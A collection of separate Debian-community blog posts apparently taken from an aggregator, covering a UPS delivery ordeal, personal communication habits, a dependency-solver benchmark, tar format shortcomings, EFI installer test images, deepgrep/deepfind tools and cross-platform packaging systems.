I only knew UPS attempted delivery because a neighbor told me. Seems they took one look at my driveway and turned around. They never tried again, and they didn't bother to leave a note on the mailbox, or anything. Now, the US postal service is happy to drive up this driveway; they drive a sensible 4x4 around here. I think DHL and Fedex have been here too. (Contrary to John Goerzen's experiences) My compact car is not bothered by my driveway either... But UPS's brand involves large brown trucks, even where inappropriate, and damage to them from such things as low-hanging branches apparently comes out of the driver's paycheck. And while normally UPS leaves small things in my mailbox, or with a neighbor, this was an important package from China, and it needed a signature. But really, a post card? "emergency"?! So, I bought the GPS to find UPS, because my package was in an industrial park in some town I've never been to. And on Tuesday I was within an hour of there and swung by. And it was closed. UPS's website had not mentioned this; other businesses are open the day after Memorial day. That turned out to be a really annoying day all around. When I got home, after a night away, I found my fridge's fire had blown out, and nearly all my food was only fit for the dog. Today I went out to try again (and buy groceries). When I reached the UPS depot.. it was closed! Until 3 pm. At this point I felt this story was reaching full-on farce. After cooling my heels in a library for three hours, I was finally able to open the most over-packed package I've probably ever seen. My kickstarter reward sample looks good.. I'll be ordering a lot more, but not to this address. As a coda to the UPS farce, arriving home today I checked my mailbox, and found the UPS postcard had finally arrived. It included mention of the 3 pm opening time, and noted that I had until tomorrow before they'd return my package to China. The coda to the coda is that on my way home from this second annoying day delivered courtesy of UPS, I stumbled on a restaurant overlooking a waterfall, just outside the town where I get my groceries. It serves food that satisfies both my Cajun and healthy cravings. Now I just need a larger fridge..

I've been slowly noticing, over a number of years now, a place where I don't react to other people the way that I want to. I've been stumbling over defensive reactions that I didn't realize I had. These are a few rules of thumb that I'm formulating for myself to try to improve that, and I thought it might help to write them down. And maybe they'll be meaningful for someone else.

1. Things people are excited about are probably exciting. If I don't find them exciting, that's probably because I don't know enough about them to understand why they're exciting. Or perhaps I have a different mindset, and therefore the exciting parts don't connect with me. Both of those are okay! There are way more things to learn about than I will ever possibly have time to learn, and I don't have to get excited about everything other people are excited about. But, equally, just because I'm not excited doesn't mean that the thing is not exciting.
2. My misplaced sense of obligation should not be someone else's buzzkill. This requires a bit of unpacking, since I only intermittantly realize that I'm doing this. But (partly for cultural reasons, partly due to natural inclinations) I've always felt a strong sense of obligation to "keep up" with things. To know a lot about a lot of topics. And one of the things I've realized is that my brain occasionally twists an interest in knowing lots about the world into a sense of obligation to "stay current" and know something about everything important, at least within my vague field of expertise. And usually that part of my brain has a very expansive notion of field of expertise; all of software development, for example, which is, when I pull it out into the light, ridiculously broad. This then sparks one of the standard failure modes of human cognition. I have an unrealistic expectation of myself. I fail to meet that expectation. This makes me feel guilty and stressed. At that point, my brain starts trying to find targets for me to displace negative feelings onto, and that generally ends up being the next person who is excited about something new that I don't know anything about but feel like I should. This is all very interesting psychologically, in the abstract. However, the concrete result is that I sometimes get all snarky and negative about something that someone else is excited about because it happens to be the moment I hit overload, or because I didn't want to hear about another thing that I feel like I should know more about. And that, in turn, can be either confrontational or discouraging to someone who is legitimately excited (and may rarely get the chance to be excited). And that's not the person I want to be.
3. It's okay not to have an opinion. Seriously, it's okay. The world is full of stuff, far more stuff than any one person can know anything about. It's okay not to go read about everything people say is exciting. It's okay not to know about something new. It's okay to focus on the things I'm already doing. Really. What's not okay is to make up an opinion about something I know nothing about just so that I can feel better about myself by having an opinion. Particularly since that opinion formed under those circumstances tends to be negative, despite the fact that I have no actual basis for having any opinion at all. I need to practice just quietly not having an opinion. No one else needs to know about my lack of opinion.
4. Before bristling at imposition, be sure someone is actually imposing. I frequently leap to the conclusion that, when someone raises a topic, they want me to do something about it. It's a gut emotional reaction, I think in part because the emotional part of my brain likes to make everything about me. Intellectually, if I can engage that part of my brain, it's often obvious that it's not about me, or that they're not asking me to do anything. Often, when someone brings something up, they just want to tell someone else about it, or make me aware of it. If I've listened to, or read, all the sentences and understood then, then congratulations! I've done everything that I needed to do and was expected to do and need not feel any further obligation. Even if something further needs to be done, it doesn't necessarily need to be done by me. I'm very protective of my time and available resources because I almost always feel overwhelmed by all the things that I want to work on. This does not entitle me to snap at random people who are being excited around me on the grounds that they're trying to put more obligations on me. They're probably not. If it becomes clear that they really want me to do something I don't have time to do, I can politely decline, but if I just shut up and listen for longer, usually that's not the case at all.

(Please note that this is not prompted by any current discussion happening anywhere, and paticularly not by anything in Debian. Insofar as it was prompted by anything, it was by a throwaway comment in an unrelated private discussion. It's just something that gelled enough to write down while I was walking home from work.)

On year ago, we (the mancoosi team) published a comparison study regarding the state of the art of dependency solving in debian. As few noticed, the data presented had few glitches that I promised to fix. So we've repeated our tests using exactly the same data we used one year ago, but now using the latest available versions of all package managers as available in debian unstable. During the last year, three out of four solver that we evaluated release a major upgrade so I expected many improvements in performances and accuracy.

• apt-get 0.8.10 -> 0.9.7
• aptitude 0.6.3 -> 0.6.7
• smart 1.3-1 -> 1.4
• cupt 1.5.14.1 -> 2.5.6

Mpm, our test-bench for new technologies, changed quite a bit under the wood as a consequence of the evolution of apt-cudf and the recent work done in apt-get to integrate external cudf dependency solvers. Overall the results of our study are not changed. All solvers but mpm, that is based on aspcud, are not scalable as the number of packages (and alternatives) grows. It seems that Smart is the solver that does not give up, incurring in a timeout (fixed at 60 seconds) most of the time. Aptitude is the solver that tried to give you a solution, doesn't matter what and as result providing solutions that do not satisfy the user request for one reason or the other. Apt-get does surprisingly well, but it gives up pretty often showing the incomplete nature of it's internal solver. Cupt sometimes timeout, sometimes gives up, but when it is able to provide an answer it is usually optimal and it is very fast ... Mpm consistently finds an optimal solution, but sometimes it takes really a long time to do it. Since mpm is written in python and not optimized for speed this is not a big problem for us. The technology used by mpm is now integrated in apt-get and I hope this will alleviate this problem. All the details of our study can be found one the Mancoosi Website as usual with a lot of details. For example here you can find the results when mixing four major releases : sarge-etch-lenny-squeeze. Comments are more then welcome.

During lunch the other day, I discussed the shortcomings of the tar file format with friend and co-worker Daniel. The tar file format has a lot of legacy by now, and it's not quite up to date with the latest developments in file systems, such as extended attributes. This makes tar badly suited for things such as backups and other situations where precise reproduction of the input data matters. There are several variants of the tar file format, and various more or less standard extensions to it. GNU tar, for example, added support for pathnames longer than 100 bytes many years ago, and it is now commonly supported. Other problems in the tar file format:

• It has no native support for compression. The Unix Way is to use an external compressor, which is nice, but it makes it necessary to decompress the entire file to get a list of its contents. For large archives, this is very time consuming.
• Even when uncompressed, the file format works badly for some kinds of operations, such as deleting files from the archive, or updating them with new versions.
• The file format is entirely linear. When creating a tar file, it would sometimes be possible to write data from multiple sources at the same time, perhaps compressing them separately, maybe with file type specific compressors. With a linear format, this is not possible without spooling some files into temporary files. An interleaved format, similar to multimedia files, which mix audio and video data into a single stream, would make it possible to be more efficient at writing.
• The supported meta data for files is limited, and it's hard to extend the support without breaking the file format.

This led us to discuss the possibility of a new file format. We had a bit of fun exploring the solution space for a while. However, almost all use of tar these days is for distributing sets of files, where the filename and basic set of file permissions is enough. In other words, for things such as source code, tar is just fine. The archives are small enough, and the other limitations are rarely a problem, but the pain of switching to a new format would be great. Thus, with some reluctance, we concluded that a new format would be a waste of time. But I thought I'd write this up anyway, in case one of my readers wants to start working on this.

Continuing on from my third EFI progress report... I've added some i386 EFI support in debian-cd and built new images. Alongside a new amd64 image, we now have an i386 image and a mixed image which should hopefully boot and work on both 32-bit and 64-bit machines. The i386 support is more experimental at this point, and it's more difficult for me to test due to a lack of physical hardware. If you've got an older 32-bit EFI machine, this might work for you... Grab the images from http://cdimage.debian.org/cdimage/unofficial/efi-development/upload4/ if you'd like to help test. Please do, and let me know via debian-boot/debian-cd how you get on. As previously, the "bits" subdirectory contains all the tweaked d-i packages I've played with, in both source and binary form. My debian-cd changes are still in my branch but are just about ready for merging I think. I've posted my full set of d-i patches to the debian-boot list for review now, and hopefully we'll be able to get those changes merged in after the Wheezy d-i beta 2 build is done. Full speed ahead for EFI in beta 3!

For about the past three months I've been conducting a small experiment. When I've seen people misbehave on the Debian development mailing list, I've sent a private e-mail to them suggesting they should avoid some specific behavior, in the hope of getting them to stop. My success has been varied. A few have thanked me, and changed their behavior. A couple have taken offense. Some have ignored me. I've noticed a correlation between how much effort I put into the letter and how successful it. Broadly speaking, if I send anything earlier than the sixth version, it fails. Getting the message exactly right is not easy, for me, and takes quite some effort and time. I'm happy about my successes, but on the whole, I fear my experiment is a failure. It's too much effort to do this in the long term, and it's too chancy. Someone else might be able to do it better, but this is not something I can keep on doing. I think we need some better solution to keep discussions in Debian on track and not have them blow up. We have a systemic problem where contentious issues, such as choice of init system, is quite hard for us to deal with. We're also not very good at dealing with situations where a few individuals are dominating the discussion by being loud, insistent, and unwilling to budge or to give any credence to opposing views. I don't know what to do about that, but we clearly need social and possibly technical tools for this.

Several months ago, I wrote about grep everything and listed grep-like tools which can grep through compressed files or specific data formats. The blog posting sparked several magazine articles and talks by Frank Hofmann and me. Frank recently noticed that we though missed one more or less mighty tool so far. We missed it, because it s mostly unknown, undocumented and hidden behind a package name which doesn t suggest a real recursive grep everything : deepgrep deepgrep is part of the Debian package strigi-utils, a package which contains utilities related to the KDE desktop search Strigi. deepgrep especially eases the searching through tar balls, even nested ones, but can also search through zip files and OpenOffice.org/LibreOffice documents (which are actually zip files). deepgrep seems to support at least the following archive and compression formats:

• tar
• ar, and hence deb
• rpm (but not cpio)
• gzip/gz
• bzip2/bz2
• zip, and hence jar/war and OpenOffice.org/LibreOffice documents
• MIME messages (i.e. files attached to e-mails)

A search in an archive which is deeply nested looks like this:

$ deepgrep bar foo.ar
foo.ar/foo.tar/foo.tar.gz/foo.zip/foo.tar.bz2/foo.txt.gz/foo.txt:foobar
foo.ar/foo.tar/foo.tar.gz/foo.zip/foo.tar.bz2/foo.txt.gz/foo.txt:bar

deepgrep though neither seems to support any LZMA based compression (lzma, xz, lzip, 7z), nor does it support lzop, rzip, compress (.Z suffix), cab, cpio, xar, or rar. Further current drawbacks of deepgrep:

• Nearly no commandline options, especially none of the common grep options
• No man-page or other documentation
• Exit code not related to search results, you have to check the output to see if something has been found

deepfind If you just need the file names of the files in nested archives, the package also contains the tool deepfind which does nothing else than to list all files and directories in a given set of archives or directories:

$ deepfind foo.ar
foo.ar
foo.ar/foo.tar
foo.ar/foo.tar/foo.tar.gz
foo.ar/foo.tar/foo.tar.gz/foo.zip
foo.ar/foo.tar/foo.tar.gz/foo.zip/foo.tar.bz2
foo.ar/foo.tar/foo.tar.gz/foo.zip/foo.tar.bz2/foo.txt.gz
foo.ar/foo.tar/foo.tar.gz/foo.zip/foo.tar.bz2/foo.txt.gz/foo.txt

As with deepgrep, deepfind does not implement any common options of it s normal sister tool find. Dependencies The package strigi-utils doesn t pull in the complete Strigi framework (i.e. no daemon), just a few libraries (libstreams, libstreamanalyzer, and libclucene). On Wheezy it also pulls in some audio/video decoding libraries which may make some server administrators less happy. Conclusion Both tools are quite limited to some basic use cases, but can be worth a fortune if you have to work with nested archives. Nevertheless the claim in the Debian package description of strigi-utils that they re enhanced versions of their well known counterparts is IMHO disproportionate. Most of the missing features and documentation can be explained by the primary purpose of these tools: Being backend for desktop searches. I guess, there wasn t much need for proper commandline usage yet. Until now. ;-) 42.zip And yes, I was curious enough to let deepfind have a look at 42.zip (the one from SecurityFocus, unzip seems not able to unpack 42.zip from unforgettable.dk due a missing version compatibility) and since it just traverses the archive sequentially, it has no problem with that, needing just about 5 MB of RAM and a lot of time:

[ ]
42.zip/lib f.zip/book f.zip/chapter f.zip/doc f.zip/page e.zip
42.zip/lib f.zip/book f.zip/chapter f.zip/doc f.zip/page e.zip/0.dll
42.zip/lib f.zip/book f.zip/chapter f.zip/doc f.zip/page f.zip
42.zip/lib f.zip/book f.zip/chapter f.zip/doc f.zip/page f.zip/0.dll
deepfind 42.zip  11644.12s user 303.89s system 97% cpu 3:24:02.46 total

I though won t try deepgrep on 42.zip. ;-)

A while back mdz blogged about challenges facing Ubuntu and other Linux distributions. He raises the point that runtime libraries for Python / Ruby etc have a unique set of issues because they tend to have their own packaging systems. Merely a month later he attended Debconf 2010 where a presentation was given on the issues that Java packages have on Dpkg based systems. Since then the conversation seems to have dried up. I ve been reminded of it recently in discussions within Canonical looking at how we deploy web services. Matt suggested some ways forward, including:

• Decouple applications from the core
• Treat data as a service (rather than packages) get data live from the web rather than going web -> distro-package -> user machines.
• Simplify integration between packaging systems (including non-packaged things)

I think its time we revisit and expand on those points. Nothing much has changed in how Ubuntu or other distributions approach integration with other packaging systems but the world has kept evolving. Internet access is growing ever more ubiquitous, more platforms are building packaging systems clojure, scala, node.js, to name but three, and a substantial and ever growing number of products expect to operate in a hybrid fashion with an evolving web service plus a local client which is kept up to date via package updates. Twitter, Facebook and Google Plus are three such products. Android has demonstrated a large scale app store on top of Linux, with its own custom packaging format. In order to expand them, we need some background context on the use cases that these different packaging systems need to support. Platforms such as antivirus scanners, node.js, Python, Clojure and so forth care a great deal about getting their software out to their users. They care about making it extremely easy to get the latest and greatest versions of their libraries. I say this because the evidence is all around us: every successful development community / product has built a targeted package management system which layers on top of Windows, and Mac OSX, and *nux. The only rational explanation I can come up for this behaviour is that the lower level operating system package management tools don t deliver what they need. E.g. this isn t as shallow as wanting a packaging system written in their own language, which would be easy to write off as parochialism rather than a thoughtful solution to their problems. In general packaging systems provide a language for shipping source or binary form, from one or more repositories, to users machines. They may support replications, and they may support multiple operating systems. They generally end up as graph traversal engines, pulling in dependencies of various sorts you can see the DOAP specification for an attempt at generic modelling of this. One problem that turns up rapidly when dealing with Linux distribution package managers is that the versions upstream packages have, and the versions a package has in e.g. Debian, differ. They differ because at some stage, someone will need to do a new package for the distribution when no upstream change has been made. This might be to apply a local patch, or it might be to correct a defect caused by a broken build server. Whatever the cause, there is a many to one relationship between the package versions that end users see via dpkg / rpm etc, and those that upstream ship. It is a near certainty that once this happens to a library package, that comparing package versions across different distribution packages becomes hard. You cannot reliably infer whether a given package version is sufficient as a dependency or not, when comparing binary packages between Red Hat and Debian. Or Debian and Ubuntu. The result of this is that even when the software (e.g. rpm) is available on multiple distributions (say Ubuntu and RHEL), or even on multiple operating systems (say Ubuntu and Windows), that many packages will /have/ to be targeted specifically to build and execute properly. (Obviously, compilation has to proceed separately for different architectures, its more the depedency metadata that says and build with version X of dependency Y that has to be customised). The result of this is that there is to the best of my knowledge no distribution of binary packages that targets Debian/Ubuntu and RHEL and Suse and Windows and Mac OS X, although there are vibrant communities building distributions of and for each in isolation. Some of the ports systems come close, but they are still focused on delivering to a small number of platforms. There s nothing that gives 99% coverage of users. And that means that to reach all their users, they have to write or adopt a new system. For any platform X, there is a strong pressure to have the platform be maintainable by folk that primarily work with X itself, or with the language that X is written in. Consider Python there is strong pressure to use C, or Python, and nothing else, for any tools that is somewhat parochial, but also just good engineering reducing variables and making the system more likely to be well maintained. The closest system I know of Steam is just now porting to Ubuntu (and perhaps Linux in general), and has reached its massive popularity by focusing entirely on applications for Windows, with Mac OSX a recent addition. Systems like pypi which have multi platform eggs do target the wide range of platforms I listed above, but they do so both narrowly and haphazardly: whether a binary or source package is available for a given platform is up to the maintainer of the package, and the packages themselves are dealing with a very narrow subset of the platforms complexity: Python provides compilation logic, they don t create generic C libraries with stable ABI s for use by other programs, they don t have turing complete scripts for dealing with configuration file management and so forth. Anti virus updaters similarly narrow the problem they deal with, and add constraints on latency- updates of anti virus signatures are time sensitive when a new rapidly spreading threat is detected. A minor point, but it adds to the friction of considering a single packaging tool for all needs is the different use cases of low level package management tools like dpkg or rpm vs the use cases that e.g. pypi has. A primary use case for packages on pypi is for them to be used by people that are not machine administrators. They don t have root, and don t want it. Contrast that with dpkg or rpm where the primary use case (to date) is the installation of system wide libraries and tools. Things like man page installation don t make any sense for non-system-wide package systems, whereas they are a primary feature for e.g. dpkg. In short, the per-platform/language tools are (generally):

1. Written in languages that are familiar to the consumers of the tools.
2. Targeted at use on top of existing platforms, by non-privileged users, and where temporary breakage is fine.
3. Intended to get the software packaged in them onto widely disparate operating systems.
4. Very narrow they make huge assumptions about how things can fit together, which their specific language/toolchain permits, and don t generalise beyond that.
5. Don t provide for security updates in any specific form: that is left up to folk that ship individual things within the manager.

operating system package managers:

1. Are written in languages which are very easy to bootstrap onto an architecture, and to deploy onto bare metal (as part of installation).
2. Designed for delivering system components, and to avoid be able to upgrade the toolchain itself safely.
3. Originally built to install onto one operating system, ports to other operating systems are usually fragile and only adopted in niche.
4. Are hugely broad they install data, scripts, binaries, and need to know about late binding, system caches etc for every binary and runtime format the operating system supports
5. Make special provision to allow security updates to be installed in a low latency fashion, without requiring anything consuming the package that is updated to change [but usually force-uninstalling anything that is super-tightly coupled to a library version].

Anti virus package managers:

1. Exist to update daemons that run with system wide escalated privileges, or even file system layer drivers.
2. Update datasets in realtime.
3. Without permitting updates that are produced by third parties.

Given that, lets look at the routes Matt suggested Decoupling applications from the core as a strategy makes an assumption that the core and applications are partitionable. If they are not, then applications and the core will share common elements that need to be updated together. Consider, for instance, a Python application. If you run with a system installed Python, and it is built without zlib for some reason, but the Python application requires zlib, you have a problem. A classic example of this problem is facing Ubuntu today, with all the system provided tools moving to Python 3, but vast swathes of Python applications still being unported to Python 3 at all. Currently, the Python packaging system virtualenv/buildout + distribute don t provide a way to install the Python runtime itself, but will happily install their own components for everything up the stack from the runtime. Ubuntu makes extensive use of Python for its own tools, so the system Python has a lot of packages installed which buildout etc cannot ignore this often leads to issues with e.g. buildout, when the bootstrap environment has (say) zope.interfaces, but its then not accessible from the built-out environment that disables the standard sys.path (to achieve more robust separation). If we want to pursue decoupling, whether we build a new package manager or use e.g. virtualenv (or gem or npm or ), we ll need to be aware of this issue and perhaps offer, for an extended time, a dedicated no-frills, no-distro-packages install, to avoid it, and to allow an extended supported period for application authors without committing to a massive, distro sponsored porting effort. While its tempting to say we should install pip/npm/lein/maven and other external package systems, this is actually risky: they often evolve sufficiently fast that Ubuntu will be delivering an old, incompatible version of the tool to users well before Ubuntu goes out of support, or even befor the next release of Ubuntu. Treating data as a service. All the cases I ve seen so far of applications grabbing datasets from the web have depended on web infrastructure for validating the dataset. E.g. SSL certificates, or SSL + content checksums. Basically, small self-rolled distribution systems. I m likely ignorant of details here, and I depend on you, dear reader, to edumacate me. There is potential value in having data repackaged, when our packaging system has behind-firewall support, and the adhoc system that (for instance) a virus scanner system has does not. In this case, I specifically mean the problem of updated a machine which has no internet access, not even via a proxy. The challenge I see it is again the cross platform issue: The vendor will be supporting Ubuntu + Debian + RHEL + Suse, and from their perspective its probably cheaper to roll their own solution than to directly support dpkg + rpm + whatever Apple offer + Windows the skills to roll an adhoc distribution tool are more common than the skills to integrate closely with dpkg or rpm What about creating a set of interfaces for talking to dpkg / rpm / the system packagers on Windows and Mac OSX ? Here I think there is some promise, but it needs as Matt said careful thought. PackageKit isn t sufficient, at least today. There are, I think, two specific cases to cater to:

1. The anti-virus / fresh data set case.
2. The egg/gem/npm/ specific case.

For the egg/gem/npm case, we would need to support a pretty large set of common functionality, on Windows/Mac OSX / *nux (because otherwise upstream won t adopt what we create: losing 90% of their users (windows) or 5% (mac) isn t going to be well accepted . We d need to support multiple installations (because of mutually incompatible dependencies between applications), and we d need to support multiple language bindings in some fashion some approachable fashion where the upstream will feel capable of fixing and tweaking what we offer. We re going to need to support offline updates, replication, local builds, local repositories, and various signing strategies to match the various tradeoffs made by the upstream tools. For the anti-virus / fresh data case, we d need to support a similar set of operating systems, though I strongly suspect that there would be more tolerance for limited support in that most things in that space either have very platform specific code, or they are just a large-scale form of the egg/gem/npm problem, which also wants easy updates. What next? We should validate this discussion with at least two or three upstreams. Find out whats missing I suspect a lot and whats wrong I hope not much . Then we ll be in a position to decide if there is a tractable, widespread solution *possible*. Separately, we should stop fighting with upstreams that have their own packaging systems. They are satisfying different use cases than our core distro packaging systems are designed to solve. We should stop mindlessly repackaging things from e.g. eggs to debs, unless we need that specific thing as part of the transitive runtime or buildtime dependencies for the distribution itself. In particular, if us folk that build system packaging tools adopt and use the upstream application packaging tools, we can learn in a deep way the (real) advantages they have, and become more able to reason about how to unify the various engineering efforts going into them and perhaps even eventually satisfy them using dpkg/rpm on our machines.

Continuing on from my second EFI progress report... My second alpha release of a Wheezy netinst CD for amd64 EFI seemed to work OK for me and a few others, but it wasn't 100% good, with (at least) two issues:

• It didn't work as a hybrid (CD or USB) image, just working from CD for EFI
• It didn't work for BIOS booting due to a silly bug

In the couple of days since then, I've fixed both of these issues. Yay! Hybrid boot was easier than I expected - I've just added a tiny FAT partition to the image containing the grub EFI bootloader and that seems to work fine. I also found that I made a mistake in the ordering of the El Torito boot records in the last image. BIOS boot seems to be limited to just the first image available on the machines I've tested with, wherease EFI will happily work as a secondary image. I've swapped them around in my code, and things look much better now. So, time for another CD alpha release for testing. Grab the image from http://cdimage.debian.org/cdimage/unofficial/efi-development/upload3/ if you'd like to help test it. Please do, and let me know via debian-boot/debian-cd how you get on. As previously, the "bits" subdirectory contains all the tweaked d-i packages I've played with, in both source and binary form. My debian-cd changes are still in my branch but are just about ready for merging I think. I've posted my full set of d-i patches to the debian-boot list for review now, and hopefully we'll be able to get those changes merged in after the Wheezy d-i beta 2 build is done. Full speed ahead for EFI in beta 3!